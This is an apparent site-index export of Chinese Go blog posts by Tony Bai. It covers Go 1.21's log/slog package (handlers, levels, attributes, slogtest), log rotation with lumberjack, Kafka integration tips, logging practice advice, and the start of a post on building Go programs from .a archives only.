foo.log是当前正在写入的日志文件，而其他带有时间戳、以gz为后缀的文件则是归档文件。由于有了lumberjack对日志文件的管理，我们就不用再担心日志文件size过大、归档文件过多没有清理而导致的磁盘被占满的问题了。\n注：lumberjack.Logger的各个属性字段的配置要根据你的应用实际输出日志的情况、本地磁盘可用空间来确定。\n3. 与kafka集成 在我们团队的一个生产项目中，日志是不落盘而直接写入kafka的，关于这个事情，我在《Go社区主流Kafka客户端简要对比》一文中也曾提到过，并给出了基于zap和不同kafka客户端实现向kafka写入日志的方案。\nslog与kafka集成的思路也是类似的，不同的是定制KafkaHandler的方法，基于slog，我们要让KafkaHandler实现slog.Handler接口。在《slog正式版来了：Go日志记录新选择！》一文中，我们给出了一个向channel写入结构化日志的示例，KakfaHandler完全可以借鉴其中的ChanHandler，也是通过字节切片来承接JSONHandler写出的日志，不同的是将写入Channel改为通过kafka client写入Kafka! 在这里我就不给出KakfaHandler的实现了，这个作业留给大家，记得实现KafkaHandler后，使用slog/slogtest对其正确性做一个测试！\n注：注意在实现KakfaHandler时，考虑goroutine并发使用同一个基于KafkaHandler创建的slog.Logger的情况，也就是字节切片的并发访问和共享的问题。\n4. 日志输出的实践建议 在《聊聊Go应用输出日志的工程实践》一文中，我聊了一些在日常使用log时遇到的问题、解决方法以及Go团队对log支持上的问题。log/slog的正式发布，一定程度上解决或改善了那篇文章中提到的部分问题。\n此外，在读者关心的日志输出内容方面有哪些实践建议，我也总结了以下几点：\n1). 选择合适的日志级别。常见的日志级别包括 DEBUG、INFO、WARNING和ERROR。在生产环境中，我们通常将日志级别设置为WARNING或ERROR，最低是info，不能再低了，避免打印过多日志以影响应用性能。\n2). 日志级别要支持热更新。在系统出现异常时，如果要做在线调试，支持热更新的日志级别就特别重要，我们可以在一个调试时间窗口将日志级别下调至info或debug，这样可以抓取到一段时间的详细日志，以供调试和诊断参考。\n3). 优先选结构化日志。相对于文本日志更适合人类阅读，结构化日志更适于机器解析、索引和查询。大多数正常情况下，我们是不会去看日志的，日志都会被汇集到集中日志中心存储、管理并索引(比如常见的ELK方案、近来的grafana的PLG方案(Promtail, Loki and Grafana)等)，以便于后续做查询和展示。针对这样的情况，显然结构化日志更适合。\n4). 无论使用结构化还是文本形式日志，日志格式都要清晰易读。每条日志至少要打印时间、日志级别、事件源、事件详情等信息，对于固定的字段，要用属性(attribute)来设置，以提高输出性能。\n5). 考虑到排查和诊断业务问题，通常会为日志添加上下文信息。比如：在日志中增加关于当前用户、请求ID等上下文信息等。但不应该在日志中输出用户的隐私数据等敏感信息，要么移除，要么做打码处理。\n6). 考虑到监控和告警的需要，有些时候我们会对错误日志进行监控，可能会在日志中放置一些具有监控意义的特征字段。\n7). 对于日志写入文件的情况，就如本文前面提到的，要考虑日志文件的管理：设置合理的分割轮转日志文件策略以及日志文件的归档管理，避免日志文件的无限增长对磁盘带来的影响。\n日志输出内容没有“固定标准”，需根据大家实际所处的业务环境以及相关要求确定。\n5. 小结 本文是《slog正式版来了：Go日志记录新选择！》一文的“补充篇”，主要对将slog日志如何写入文件以及对文件的管理(轮转、归档、清理等方案)做了说明。对于将slog与外部系统(如kafka)进行集成的思路做了点拨，最后还给出了一些关于日志输出实践方面的参考意见，希望能帮助到大家！\n本文涉及的示例代码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/09/04/slog-in-action-file-logging-rotation-and-kafka-integration/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/slog-in-action-file-logging-rotation-and-kafka-integration-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/09/04/slog-in-action-file-logging-rotation-and-kafka-integration\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/09/04/slog-in-action-file-logging-rotation-and-kafka-integration\"\u003ehttps://tonybai.com/2023/09/04/slog-in-action-file-logging-rotation-and-kafka-integration\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e《\u003ca href=\"https://tonybai.com/2023/09/01/slog-a-new-choice-for-logging-in-go\"\u003eslog正式版来了：Go日志记录新选择！\u003c/a\u003e》一文发布后，收到了很多读者的反馈，意见集中在以下几点：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e基于slog如何将日志写入文件\u003c/li\u003e\n\u003cli\u003eslog是否支持log轮转(rotation)，如果slog不支持，是否有好的log轮转插件推荐？\u003c/li\u003e\n\u003cli\u003e如何与kafka集成\u003c/li\u003e\n\u003cli\u003e日志输出有哪些最佳实践\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这篇文章就是对上述问题进行补充说明的，供大家参考，希望能给大家带去帮助。\u003c/p\u003e","title":"slog实战：文件日志、轮转与kafka集成"},{"content":"\n本文永久链接 – https://tonybai.com/2023/09/01/slog-a-new-choice-for-logging-in-go\n在大约一年前，我就写下了《slog：Go官方版结构化日志包》一文，文中介绍了Go团队正在设计并计划在下一个Go版本中落地的Go官方结构化日志包：slog。但slog并未如预期在Go 1.20版本中落地，而是在golang.org/x/exp/slog下面给出了slog的初始实现供社区体验。\n时光飞逝，slog在golang.org/x/exp/slog下经历了1年多时间的改善和演进，终于在最近发布的Go 1.21版本中以log/slog的包导入路径正式加入Go标准库。\n正式版的slog在结构上并未作较大变化，依旧是分为前端和后端，因此讲exp/slog时的那幅图依然适用：\n不过，正式版的slog与当初那篇文章中的exp/slog在一些类型与API上已有不同。在这篇文章中，我就来简要说明一下。我这里讲述的思路大致是将《slog：Go官方版结构化日志包》一文中的例子用log/slog改造一遍，这个过程可以让我们看到正式版log/slog与exp/slog的差异。\n1. slog快速入门 1.1 slog的”hello, world” 如果仅是想以最快速的方式开始使用slog，那么下面可以算是slog的”hello, world”版本：\n//slog-examples-go121/demo0/main.go package main import ( \u0026quot;log/slog\u0026quot; ) func main() { slog.Info(\u0026quot;my first slog msg\u0026quot;, \u0026quot;greeting\u0026quot;, \u0026quot;hello, slog\u0026quot;) } 运行这段程序，会得到下面输出：\n$go run main.go 2023/08/29 05:01:36 INFO my first slog msg greeting=\u0026quot;hello, slog\u0026quot; 1.2 TextHandler和JSONHandler 默认情况下，slog输出的格式仅是普通text格式，而并非JSON格式，也不是以key=value形式呈现的文本。\nslog提供了以JSON格式输出的JSONHandler和以key=value形式呈现的文本形式的TextHandler。不过要使用这两种Handler进行日志输出，我们需要显式创建它们：\n//slog-examples-go121/demo1/main.go h := slog.NewTextHandler(os.Stderr, nil) l := slog.New(h) l.Info(\u0026quot;greeting\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;tony\u0026quot;) l.Error(\u0026quot;oops\u0026quot;, \u0026quot;err\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) h1 := slog.NewJSONHandler(os.Stderr, nil) l1 := slog.New(h1) l1.Info(\u0026quot;greeting\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;tony\u0026quot;) l1.Error(\u0026quot;oops\u0026quot;, \u0026quot;err\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) 注：相对于exp/slog，正式版的log/slog的NewTextHandler和NewJSONHandler增加了一个新的opts *HandlerOptions参数。\n上述代码分别创建了一个使用TextHandler的slog.Logger实例以及一个使用JSONHandler的slog.Logger实例，执行这段代码后将输出如下日志：\n$go run main.go time=2023-08-29T05:34:27.370+08:00 level=INFO msg=greeting name=tony time=2023-08-29T05:34:27.370+08:00 level=ERROR msg=oops err=\u0026quot;use of closed network connection\u0026quot; status=500 {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:34:27.370306+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;greeting\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;tony\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:34:27.370315+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;,\u0026quot;status\u0026quot;:500} 如果觉得每次还得使用l或l1来调用Info、Error等输出日志的函数不便利，可以将l或l1设置为Default Logger，这样无论在任何包内都可以直接通过slog包级函数，如Info、Error等直接输出日志：\n//slog-examples-go121/demo1/main.go time=2023-08-29T05:40:08.503+08:00 level=INFO msg=\u0026quot;textHandler after setDefault\u0026quot; name=tony age=30 {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:40:08.503672+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;jsonHandler after setDefault\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;tony\u0026quot;,\u0026quot;age\u0026quot;:30} 注：相对于exp/slog，正式版的log/slog提供了带有Context的Info、Error日志输出函数：DebugContext、InfoContext、ErrorContext等。\n1.3 HandlerOption 通过在创建Handler时传入自定义的HandlerOption，我们可以设置Logger的日志级别和是否输出Source，比如下面示例：\n//slog-examples-go121/demo2/main.go opts := slog.HandlerOptions{ AddSource: true, Level: slog.LevelError, } slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stderr, \u0026amp;opts))) slog.Info(\u0026quot;open file for reading\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;foo.txt\u0026quot;, \u0026quot;path\u0026quot;, \u0026quot;/home/tonybai/demo/foo.txt\u0026quot;) slog.Error(\u0026quot;open file error\u0026quot;, \u0026quot;err\u0026quot;, os.ErrNotExist, \u0026quot;status\u0026quot;, 2) 上述代码通过HandlerOption设置了Handler仅输出Error级别日志，并在输出的日志中带上Source信息，运行这段程序，会得到下面输出：\n$go run main.go {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:18:18.068213+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:{\u0026quot;function\u0026quot;:\u0026quot;main.main\u0026quot;,\u0026quot;file\u0026quot;:\u0026quot;/Users/tonybai/Go/src/github.com/bigwhite/experiments/slog-examples-go121/demo2/main.go\u0026quot;,\u0026quot;line\u0026quot;:17},\u0026quot;msg\u0026quot;:\u0026quot;open file error\u0026quot;,\u0026quot;err\u0026quot;:\u0026quot;file does not exist\u0026quot;,\u0026quot;status\u0026quot;:2} 我们看到通过Info函数输出的日志并没有被仅处理Error级别的Handler输出到console上。另外在输出的日志中，我们看到了source这个key，以及它的值，即输出日志的那行代码在源代码文件中位置。\n1.4 属性字段 我们日常输出的日志都有一些共同的字段，比如上面的level、time，这些字段被称为属性。slog支持带有属性(attribute)的日志输出，slog内置了若干属性，如下面代码所示：\n// log/slog/handler.go // Keys for \u0026quot;built-in\u0026quot; attributes. const ( // TimeKey is the key used by the built-in handlers for the time // when the log method is called. The associated Value is a [time.Time]. TimeKey = \u0026quot;time\u0026quot; // LevelKey is the key used by the built-in handlers for the level // of the log call. The associated value is a [Level]. LevelKey = \u0026quot;level\u0026quot; // MessageKey is the key used by the built-in handlers for the // message of the log call. The associated value is a string. MessageKey = \u0026quot;msg\u0026quot; // SourceKey is the key used by the built-in handlers for the source file // and line of the log call. The associated value is a string. SourceKey = \u0026quot;source\u0026quot; ) 当然slog也支持自定义属性：\n//slog-examples-go121/demo2/main.go l := slog.Default().With(\u0026quot;attr1\u0026quot;, \u0026quot;attr1_value\u0026quot;, \u0026quot;attr2\u0026quot;, \u0026quot;attr2_value\u0026quot;) l.Error(\u0026quot;connect server error\u0026quot;, \u0026quot;err\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) l.Error(\u0026quot;close conn error\u0026quot;, \u0026quot;err\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 501) 在上面的代码中，我们定义了两个属性：attr1和attr2，以及它们的值，这样当我们用带有这两个属性的Logger输出日志时，每行日志都会包含这两个属性：\n{\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:28:39.322014+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:{\u0026quot;function\u0026quot;:\u0026quot;main.main\u0026quot;,\u0026quot;file\u0026quot;:\u0026quot;/Users/tonybai/Go/src/github.com/bigwhite/experiments/slog-examples-go121/demo2/main.go\u0026quot;,\u0026quot;line\u0026quot;:23},\u0026quot;msg\u0026quot;:\u0026quot;connect server error\u0026quot;,\u0026quot;attr1\u0026quot;:\u0026quot;attr1_value\u0026quot;,\u0026quot;attr2\u0026quot;:\u0026quot;attr2_value\u0026quot;,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;,\u0026quot;status\u0026quot;:500} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:28:39.322028+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:{\u0026quot;function\u0026quot;:\u0026quot;main.main\u0026quot;,\u0026quot;file\u0026quot;:\u0026quot;/Users/tonybai/Go/src/github.com/bigwhite/experiments/slog-examples-go121/demo2/main.go\u0026quot;,\u0026quot;line\u0026quot;:24},\u0026quot;msg\u0026quot;:\u0026quot;close conn error\u0026quot;,\u0026quot;attr1\u0026quot;:\u0026quot;attr1_value\u0026quot;,\u0026quot;attr2\u0026quot;:\u0026quot;attr2_value\u0026quot;,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;,\u0026quot;status\u0026quot;:501} 当然你也可以通过slog.LogAttrs做“一次性”的属性输出：\n//slog-examples-go121/demo2/main.go l.LogAttrs(context.Background(), slog.LevelError, \u0026quot;log with attribute once\u0026quot;, slog.String(\u0026quot;attr3\u0026quot;, \u0026quot;attr3_value\u0026quot;)) l.Error(\u0026quot;reconnect error\u0026quot;, \u0026quot;err\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 502) 这两行输出如下日志：\n{\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:32:00.419772+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:{\u0026quot;function\u0026quot;:\u0026quot;main.main\u0026quot;,\u0026quot;file\u0026quot;:\u0026quot;/Users/tonybai/Go/src/github.com/bigwhite/experiments/slog-examples-go121/demo2/main.go\u0026quot;,\u0026quot;line\u0026quot;:26},\u0026quot;msg\u0026quot;:\u0026quot;log with attribute once\u0026quot;,\u0026quot;attr1\u0026quot;:\u0026quot;attr1_value\u0026quot;,\u0026quot;attr2\u0026quot;:\u0026quot;attr2_value\u0026quot;,\u0026quot;attr3\u0026quot;:\u0026quot;attr3_value\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T05:32:00.419778+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:{\u0026quot;function\u0026quot;:\u0026quot;main.main\u0026quot;,\u0026quot;file\u0026quot;:\u0026quot;/Users/tonybai/Go/src/github.com/bigwhite/experiments/slog-examples-go121/demo2/main.go\u0026quot;,\u0026quot;line\u0026quot;:27},\u0026quot;msg\u0026quot;:\u0026quot;reconnect error\u0026quot;,\u0026quot;attr1\u0026quot;:\u0026quot;attr1_value\u0026quot;,\u0026quot;attr2\u0026quot;:\u0026quot;attr2_value\u0026quot;,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;,\u0026quot;status\u0026quot;:502} 我们看到通过LogAttrs输出的attr3属性仅出现一次。\n注：相对于exp/slog，正式版的log/slog提供的LogAttrs方法多了一个context.Context参数。\n1.5 Group形式的日志输出 slog支持group形式的日志输出，这点保持了与exp/slog的一致。下面是一个输出group log的例子：\n//slog-examples-go121/demo2/main.go gl := l.WithGroup(\u0026quot;response\u0026quot;) gl.Error(\u0026quot;http post response\u0026quot;, \u0026quot;code\u0026quot;, 403, \u0026quot;status\u0026quot;, \u0026quot;server not response\u0026quot;, \u0026quot;server\u0026quot;, \u0026quot;10.10.121.88\u0026quot;) 我们先创建一个名为“response”的group logger，然后调用Error输出日志。Error会将所有attribute之外的字段放入response这个group中呈现，我们看一下运行结果：\n{\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T12:54:07.623002+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;source\u0026quot;:{\u0026quot;function\u0026quot;:\u0026quot;main.main\u0026quot;,\u0026quot;file\u0026quot;:\u0026quot;/Users/tonybai/Go/src/github.com/bigwhite/experiments/slog-examples-go121/demo2/main.go\u0026quot;,\u0026quot;line\u0026quot;:30},\u0026quot;msg\u0026quot;:\u0026quot;http post response\u0026quot;,\u0026quot;attr1\u0026quot;:\u0026quot;attr1_value\u0026quot;,\u0026quot;attr2\u0026quot;:\u0026quot;attr2_value\u0026quot;,\u0026quot;response\u0026quot;:{\u0026quot;code\u0026quot;:403,\u0026quot;status\u0026quot;:\u0026quot;server not response\u0026quot;,\u0026quot;server\u0026quot;:\u0026quot;10.10.121.88\u0026quot;}} 2. 动态调整日志级别 exp/slog使用slog.AtomicLevel实现Logger级别的动态调整。在正式版slog中，我们则使用slog.LevelVar来实现Logger日志级别的动态调整，使用方法差不多，看下面这个例子：\n// slog-examples-go121-demo3/main.go func main() { var lvl slog.LevelVar lvl.Set(slog.LevelDebug) opts := slog.HandlerOptions{ Level: \u0026amp;lvl, } slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stderr, \u0026amp;opts))) slog.Info(\u0026quot;before resetting log level:\u0026quot;) slog.Info(\u0026quot;greeting\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;tony\u0026quot;) slog.Error(\u0026quot;oops\u0026quot;, \u0026quot;err\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) slog.LogAttrs(context.Background(), slog.LevelError, \u0026quot;oops\u0026quot;, slog.Int(\u0026quot;status\u0026quot;, 500), slog.Any(\u0026quot;err\u0026quot;, net.ErrClosed)) slog.Info(\u0026quot;after resetting log level to error level:\u0026quot;) lvl.Set(slog.LevelError) slog.Info(\u0026quot;greeting\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;tony\u0026quot;) slog.Error(\u0026quot;oops\u0026quot;, \u0026quot;err\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) slog.LogAttrs(context.Background(), slog.LevelError, \u0026quot;oops\u0026quot;, slog.Int(\u0026quot;status\u0026quot;, 500), slog.Any(\u0026quot;err\u0026quot;, net.ErrClosed)) } 结合LevelVar和HandlerOption，我们实现了Logger日志级别的动态调整，这里是由LevelDebug调整为LevelError。上面示例的输出结果如下：\n{\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T06:15:26.103022+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;before resetting log level:\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T06:15:26.103197+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;greeting\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;tony\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T06:15:26.103203+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;,\u0026quot;status\u0026quot;:500} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T06:15:26.103222+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T06:15:26.103226+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;after resetting log level to error level:\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T06:15:26.103232+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;,\u0026quot;status\u0026quot;:500} {\u0026quot;time\u0026quot;:\u0026quot;2023-08-29T06:15:26.103236+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} 我们看到，动态调整到LevelError后，Info函数打印的日志将不再输出到console了。\n3. 自定义后端Handler 在《slog：Go官方版结构化日志包》一文中，我们就举例说明了如何自定义一个后端Handler，正式版slog在自定义Handler这方面变化不大，都是通过实现slog.Handler接口的方式达成的。大家可自行查看slog-examples-go121/demo4中的代码，这里就不赘述了。\n此外，log/slog的作者Jonathan Amsterdam还提供了一篇“slog自定义handler指南”供大家参考。\n4. 验证handler Go 1.21正式版提供了一个testing/slogtest包可以用来辅助测试自定义后端Handler，我们就以slog-examples-go121/demo4中自定义的ChanHandler为例，用slogtest包对其进行一下测试：\n// slog-examples-go121/demo4/handler_test.go func TestChanHandlerParsing(t *testing.T) { var ch = make(chan []byte, 100) h := NewChanHandler(ch) results := func() []map[string]any { var ms []map[string]any ticker := time.NewTicker(time.Second) loop: for { select { case line := \u0026lt;-ch: if len(line) == 0 { break } var m map[string]any if err := json.Unmarshal(line, \u0026amp;m); err != nil { t.Fatal(err) } ms = append(ms, m) case \u0026lt;-ticker.C: break loop } } return ms } err := slogtest.TestHandler(h, results) if err != nil { log.Fatal(err) } } slogtest仅提供一个导出函数TestHandler，它会自动基于你提供的Handler创建Logger并向Logger写入一些日志，然后通过传入的results函数对写入的日志进行格式验证，主要是json反序列化，如果成功，会记录在map[string]any类型的切片中。最后TestHandler会比对写入日志条数与反序列化成功的条数，如果一致，说明测试ok，反之则测试失败。\n注：基于这个TestHandler，还真测试出原ChanHandler的一个问题，已经fix。\n5. 性能tips 按官方benchmark结果，log/slog的性能要高于Go社区常用的结构化日志包，比如zap等。\n即便如此，log在go应用中带来的延迟依旧不可忽视。slog的proposal design中给出了一些关于性能的考量和tip，大家可以在日后使用slog时借鉴：\n使用Logger.With避免重复格式化公共属性字段，这使得处理程序可以缓存格式化结果。\n将昂贵的计算推迟到日志输出时再进行，例如传递指针而不是格式化后的字符串。这可以避免在禁用的日志行上进行不必要的工作。\n对于昂贵的值，可以实现LogValuer接口，这样在输出时可以进行lazy加载计算。\n// log/slog/value.go\n// A LogValuer is any Go value that can convert itself into a Value for logging. // // This mechanism may be used to defer expensive operations until they are // needed, or to expand a single value into a sequence of components. type LogValuer interface { LogValue() Value }\n最后，内置的Handler已经处理了原子写入的加锁。自定义Handler应该实现自己的加锁。\n6. 小结 总体来说，slog正式版与之前实现相比，接口变化不大，功能也基本保持不变，但代码质量、性能、文档等有较大改进，符合预期。\nslog填补了Go标准库在结构化日志支持上的短板，提供了简洁、易用、易扩展的API。相信随着slog的推广，可以逐步统一Go社区中的日志实践，也让更多人受益。\n个人建议：新项目如果没有使用第三方日志包，可以直接采用slog，无需再考虑zap、zerolog等第三方选择。对于没有升级到Go 1.21版本的新项目，也可以使用exp/slog，目前exp/slog也已经与log/slog保持了同步。\n本文涉及的示例代码可以在这里下载。\n7. 参考资料 Proposal: Structured Logging – https://go.googlesource.com/proposal/+/master/design/56345-structured-logging.md slog包手册 – https://pkg.go.dev/log/slog Structured Logging with slog – https://go.dev/blog/slog A Guide to Writing slog Handlers – https://github.com/golang/example/blob/master/slog-handler-guide/README.md “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/09/01/slog-a-new-choice-for-logging-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/slog-a-new-choice-for-logging-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/09/01/slog-a-new-choice-for-logging-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/09/01/slog-a-new-choice-for-logging-in-go\"\u003ehttps://tonybai.com/2023/09/01/slog-a-new-choice-for-logging-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在大约一年前，我就写下了《\u003ca href=\"https://tonybai.com/2022/10/30/first-exploration-of-slog\"\u003eslog：Go官方版结构化日志包\u003c/a\u003e》一文，文中介绍了Go团队正在设计并计划在下一个Go版本中落地的Go官方结构化日志包：\u003ca href=\"https://pkg.go.dev/log/slog\"\u003eslog\u003c/a\u003e。但slog并未如预期在\u003ca href=\"https://tonybai.com/2023/02/08/some-changes-in-go-1-20/\"\u003eGo 1.20版本\u003c/a\u003e中落地，而是在golang.org/x/exp/slog下面给出了slog的初始实现供社区体验。\u003c/p\u003e","title":"slog正式版来了：Go日志记录新选择！"},{"content":"\n本文永久链接 – https://tonybai.com/2023/08/30/how-to-build-with-only-archive-in-go\n上周末，一个Gopher在微信上与我交流了一个有关Go程序编译的问题。他的述求说起来也不复杂，那就是合作公司提供的API包仅包括golang archive(使用go build -buildmode=archive构建的.a文件)，没有Go包的源码。如何将这个.a链接到项目构建出的最终可执行程序中呢？\n对于C、C++、Java程序员来说，仅提供静态链接库或动态链接库(包括头文件)、jar包而不提供源码的API是十分寻常的。但对于Go来说，仅提供Go包的archive(.a)文件，而不提供Go包源码的情况却是极其不常见的。究其原因，简单来说就是go build或go run不支持！\n注：《Go语言精进之路vo1》一书的第16条“理解Go语言的包导入”对Go的编译过程和原理做了系统说明。\n那么真的就没有方法实现没有source、仅基于.a文件的Go应用构建了吗？也不是。的确有一些hack的方法可以实现这点，本文就来从技术角度来探讨一下这些hack方法，但并不推荐使用！\n1. 回顾go build不支持”no source, only .a” 我们首先来回顾一下go build在”no source, only .a”下的表现。为此，我们先建立一个实验环境，其目录和文件布局如下：\n// 没有外部依赖的api包: foo $tree goarchive-nodeps goarchive-nodeps ├── Makefile ├── foo.a ├── foo.go └── go.mod $tree library library └── github.com └── bigwhite └── foo.a // 依赖foo包的app工程 $tree app-link-foo app-link-foo ├── Makefile ├── go.mod └── main.go 这里我们已经将app-link-foo依赖的foo.a构建了出来(通过go build -buildmode=arhive)，并放入了library对应的目录下。\n注：可通过ar -x foo.a命令可以查看foo.a的组成。\n现在我们使用go build来构建app-link-foo工程：\n$cd app-link-foo $go build main.go:6:2: no required module provides package github.com/bigwhite/foo; to add it: go get github.com/bigwhite/foo 我们看到：go build会分析app-link-foo的依赖，并要求获取其依赖的foo包的代码，但我们无法满足go build这一要求！\n有人可能会说：go build支持向go build支持向compiler和linker传递参数，是不是将foo.a的位置告知compiler和linker就可以了呢？我们来试试：\n$go build -x -v -gcflags '-I /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library' -ldflags '-L /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library' -o main main.go main.go:6:2: no required module provides package github.com/bigwhite/foo; to add it: go get github.com/bigwhite/foo make: *** [build] Error 1 我们看到：即便向go build传入gcflags和ldflags参数，告知了foo.a的搜索路径，go build依然报错，仍然提示需要foo包的源码！也就是说go build还没到调用go tool compile和go tool link那一步就开始报错了！\ngo 